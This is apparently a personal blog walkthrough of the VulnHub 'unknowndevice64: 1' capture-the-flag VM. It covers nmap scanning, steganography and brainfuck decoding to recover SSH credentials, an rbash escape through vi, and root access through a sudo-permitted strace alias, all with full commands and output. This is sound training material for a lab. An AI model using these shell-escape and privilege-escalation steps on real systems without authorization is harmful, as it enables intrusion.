Name : unknowndevice64: 1
Difficulty : Intermediate
Type : boot2root
Source : VulnHub
URL : https://www.vulnhub.com/entry/unknowndevice64-1,293/
Entry : 14 / 30
Welcome to the walkthrough for unknowndevice64: 1, a boot2root CTF found on VulnHub. This is the fourteenth VM in my VulnHub Challenge! While this one is listed as an intermediate difficulty machine, it is actually pretty short to complete. It is more of a CTF-style than OSCP-style machine, and there are some common tropes on this machine that you normally wouldn’t find in an engagement. Still, there is a lot to learn from this one, and I found it quite fun!
Goal
There is a single flag in the /root
directory that needs to be read read, so a fairly straightforward challenge.
Setup
I’m using VMWare Player to host Kali and the unknowndevice64: 1 OVA image, with both VMs running in a NAT network to keep them separate from the rest of my environment.
Discovery
Normally I would use netdiscover
to search for the IP address of the unknowndevice64: 1 VM, but lately my VMs are not getting any ARP traffic (which is what netdiscover
uses), so I’m switching to a simple ping sweep using nmap
:
root@dante:~# nmap -sn 192.168.127.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 18:32 EST
Nmap scan report for 192.168.127.1
Host is up (0.00021s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.127.2
Host is up (0.00015s latency).
MAC Address: 00:50:56:EE:35:86 (VMware)
Nmap scan report for 192.168.127.134
Host is up (0.00059s latency).
MAC Address: 00:0C:29:A1:90:02 (VMware)
Nmap scan report for 192.168.127.254
Host is up (0.00076s latency).
MAC Address: 00:50:56:FD:D0:D7 (VMware)
Nmap scan report for 192.168.127.133
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.61 seconds
My local machine is 92.168.127.133
, so my target is 192.168.127.134
.
Scanning
I’ll start with some nmap
scans to see what’s available on this machine:
root@dante:~# nmap 192.168.127.134
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 18:44 EST
Nmap scan report for 192.168.127.134
Host is up (0.000091s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
31337/tcp open Elite
MAC Address: 00:0C:29:A1:90:02 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
root@dante:~# nmap -p- 192.168.127.134
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 18:44 EST
Nmap scan report for 192.168.127.134
Host is up (0.00091s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
1337/tcp open waste
31337/tcp open Elite
MAC Address: 00:0C:29:A1:90:02 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.15 seconds
root@dante:~# nmap -sC -sV -p1337,31337 192.168.127.134
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-10 18:45 EST
Nmap scan report for 192.168.127.134
Host is up (0.00054s latency).
PORT STATE SERVICE VERSION
1337/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 b9:af:04:6d:f1:8c:59:3a:d6:e1:96:b7:f7:fc:57:83 (RSA)
| 256 12:68:4c:6b:96:1e:51:59:32:8a:3d:41:0d:55:6b:d2 (ECDSA)
|_ 256 da:3e:28:52:30:72:7a:dd:c3:fb:89:7e:54:f4:bb:fb (ED25519)
31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
|_http-title: Website By Unknowndevice64
MAC Address: 00:0C:29:A1:90:02 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds
I did three scans here:
- First a simple port scan of the top 1000 ports.
- I found an odd port open,
31337
, which made me wonder about others, so I re-scanned all TCP ports. - I found that port
1337
is also open, which gave me a final attack list. - Finally I did a deeper scan for version information and running some default scripts on these two ports.
So it seems that SSH was moved to 1337
and there is a Python HTTP server running on 31337
. It’s a start.
Website
I’ll start with curl
to grab the content of the site hosted on port 31337
:
root@dante:~# curl -v http://192.168.127.134:31337/
* Trying 192.168.127.134:31337...
* TCP_NODELAY set
* Connected to 192.168.127.134 (192.168.127.134) port 31337 (#0)
> GET / HTTP/1.1
> Host: 192.168.127.134:31337
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/2.7.14
< Date: Sun, 10 Nov 2019 18:51:37 GMT
< Content-type: text/html
< Content-Length: 7466
< Last-Modified: Mon, 31 Dec 2018 08:56:07 GMT
<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<body>
<title> Website By Unknowndevice64 </title>
...
<snip>
...
<p class="para" align="left"><p>Website By Unknowndevice64</p>
<!-- key_is_h1dd3n.jpg -->
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<p>./Ajay Verma </p></p>
</div>
</div>
</head>
</body>
* Closing connection 0
There’s an interesting comment right at the end of the HTML: <!-- key_is_h1dd3n.jpg -->
. I’m going to use wget
to download it.
Steganography for fun and profit
I’ll download the file and then inspect it:
root@dante:~# wget http://192.168.127.134:31337/key_is_h1dd3n.jpg
--2019-11-10 18:56:57-- http://192.168.127.134:31337/key_is_h1dd3n.jpg
Connecting to 192.168.127.134:31337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5386 (5.3K) [image/jpeg]
Saving to: ‘key_is_h1dd3n.jpg’
key_is_h1dd3n.jpg 100%[==========================================================>] 5.26K --.-KB/s in 0s
2019-11-10 18:56:57 (293 MB/s) - ‘key_is_h1dd3n.jpg’ saved [5386/5386]
root@dante:~# file key_is_h1dd3n.jpg
key_is_h1dd3n.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, components 1
So it seems to be a legitimate JPEG file, which means that it may be hiding information using steganography. This is basically a way to hide information in files like images and audio files, and it is a common CTF trope. I decide to use steghide
to extract the data.
Note: steghide
is not installed by default on kali, so you have to run apt install steghide
to install it before use.
root@dante:~# steghide extract -sf key_is_h1dd3n.jpg
Enter passphrase:
wrote extracted data to "h1dd3n.txt".
The password is just h1dd3n
, which was given in the name of the file. Sometimes the answer is right in front of you! Again, this is a common CTF trope. Time to see what’s in the file:
root@dante:~# cat h1dd3n.txt
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++++++++++++++.-----------------.<----------------.--.++++++.---------.>-----------------------.<<+++.++.>+++++.--.++++++++++++.>++++++++++++++++++++++++++++++++++++++++.-----------------.
If you’ve never seen this before, allow me to introduce you to the brainfuck language! If you Google for this string of characters, you should be able to find out what language it is. There are a few brainfuck interpreters out there, but I’m going to use https://www.dcode.fr/brainfuck-language:
So we have ourselves a simple string, ud64:1M!#64@ud
. This looks very much like a username:password
string that would be stored in something like an password file for a webserver, FTP server, or any number of other systems. Now I do know that there is an SSH server running on port 1337
, so I’m going to try that.
SSH
Trying to SSH to the machine:
root@dante:~# ssh -p1337 ud64@192.168.127.134
The authenticity of host '[192.168.127.134]:1337 ([192.168.127.134]:1337)' can't be established.
ECDSA key fingerprint is SHA256:i17eNafYZbuhnBTVOd3NGK7az/9ZPgwR8GQzqGenV9g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.127.134]:1337' (ECDSA) to the list of known hosts.
ud64@192.168.127.134's password:
Last login: Mon Dec 31 08:37:58 2018 from 192.168.56.101
ud64@unknowndevice64_v1:~$ env
-rbash: env: command not found
ud64@unknowndevice64_v1:~$
Success! The ud64:1M!#64@ud
username/password combination worked! However trying to run a simple env
command to see what the environment looks like shows me that I’m stuck in an rbash
restricted shell environment.
Escaping rbash
Restricted shells are actually used in the real world, but they are not super common in my experience. Thankfully SANS has a great article on escaping restricted shells that I will refer to in order to get out of this one.
Let me start by determining the current PATH
:
ud64@unknowndevice64_v1:~$ echo $PATH
/home/ud64/prog
ud64@unknowndevice64_v1:~$ cd prog
-rbash: cd: restricted
ud64@unknowndevice64_v1:~$ ls
-rbash: /bin/ls: restricted: cannot specify `/' in command names
Grr. This is going to be frustrating. Referring back to the SANS article above, I try using vi
to escape, but first starting vi
with no filename, then typing in !/bin/bash
to escape to a bash shell. This works!
bash-4.4$ ls
bash: ls: command not found
bash-4.4$ echo $PATH
/home/ud64/prog
bash-4.4$ cd prog
bash-4.4$ ls
bash: ls: command not found
bash-4.4$ /bin/ls
date id vi whoami
bash-4.4$ /usr/bin/sudo -l
User ud64 may run the following commands on unknowndevice64_v1:
(ALL) NOPASSWD: /usr/bin/sysud64
Absolute paths seem to work, so I try using /usr/bin/sudo -l
to see what permissions I may have. With great luck I see to have access to use the /usr/bin/sysud64
program without a password! I wonder what happens when I run it?
bash-4.4$ /usr/bin/sudo /usr/bin/sysud64
/usr/bin/sysud64: must have PROG [ARGS] or -p PID
Try '/usr/bin/sysud64 -h' for more information.
To save some pain here, this appears to be an alias for strace
. Given that I have sudo
access to a standard file, I’m going to see what GTFOBins has to say about it. I find the corresponding entry for strace
and I try it out myself:
bash-4.4$ /usr/bin/sudo /usr/bin/sysud64 -o /dev/null /bin/sh
sh-4.4# whoami
root
sh-4.4# cd /root
sh-4.4# ls
sh: ls: command not found
sh-4.4# /bin/ls
Desktop Documents Downloads Music Pictures Public Videos flag.txt
sh-4.4#
Get the flag
After successfully escalating my privileges to root
thanks to GTFOBins, I grab the contents of the /root/flag.txt
file:
sh-4.4# /bin/cat flag.txt
___ _ _
/ _ \ | | | |
/ /_\ \ | |__ __ _ ___| | _____ _ __
| _ | | '_ \ / _` |/ __| |/ / _ \ '__|
| | | | | | | | (_| | (__| < __/ |
\_| |_/ |_| |_|\__,_|\___|_|\_\___|_|
_ __ _
| | / _| | |
__| | ___ ___ ___ | |_ ___ _ __ | | _____ _____
/ _` |/ _ \ / _ \/ __| | _/ _ \| '__| | |/ _ \ \ / / _ \
| (_| | (_) | __/\__ \ | || (_) | | | | (_) \ V / __/
\__,_|\___/ \___||___/ |_| \___/|_| |_|\___/ \_/ \___|
_ _ _ _
| | | | | | | |
__ _| |__ __ _| |_ ___ | |_| |__ ___ _ __ ___
\ \ /\ / / '_ \ / _` | __| / _ \| __| '_ \ / _ \ '__/ __|
\ V V /| | | | (_| | |_ | (_) | |_| | | | __/ | \__ \
\_/\_/ |_| |_|\__,_|\__| \___/ \__|_| |_|\___|_| |___/
_ _ _ _
| | | | | | | |
__ _____ _ _| | __| | _ __ ___ | |_ __| | ___
\ \ /\ / / _ \| | | | |/ _` | | '_ \ / _ \| __| / _` |/ _ \
\ V V / (_) | |_| | | (_| | | | | | (_) | |_ | (_| | (_) |
\_/\_/ \___/ \__,_|_|\__,_| |_| |_|\___/ \__| \__,_|\___/
__
/ _|
| |_ ___ _ __ _ __ ___ ___ _ __ ___ _ _
| _/ _ \| '__| | '_ ` _ \ / _ \| '_ \ / _ \ | | |
| || (_) | | | | | | | | (_) | | | | __/ |_| |_
|_| \___/|_| |_| |_| |_|\___/|_| |_|\___|\__, (_)
__/ |
|___/
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
/ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( . | / | u | n | k | n | o | w | n | d | e | v | i | c | e | 6 | 4 )
\_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/
Fin.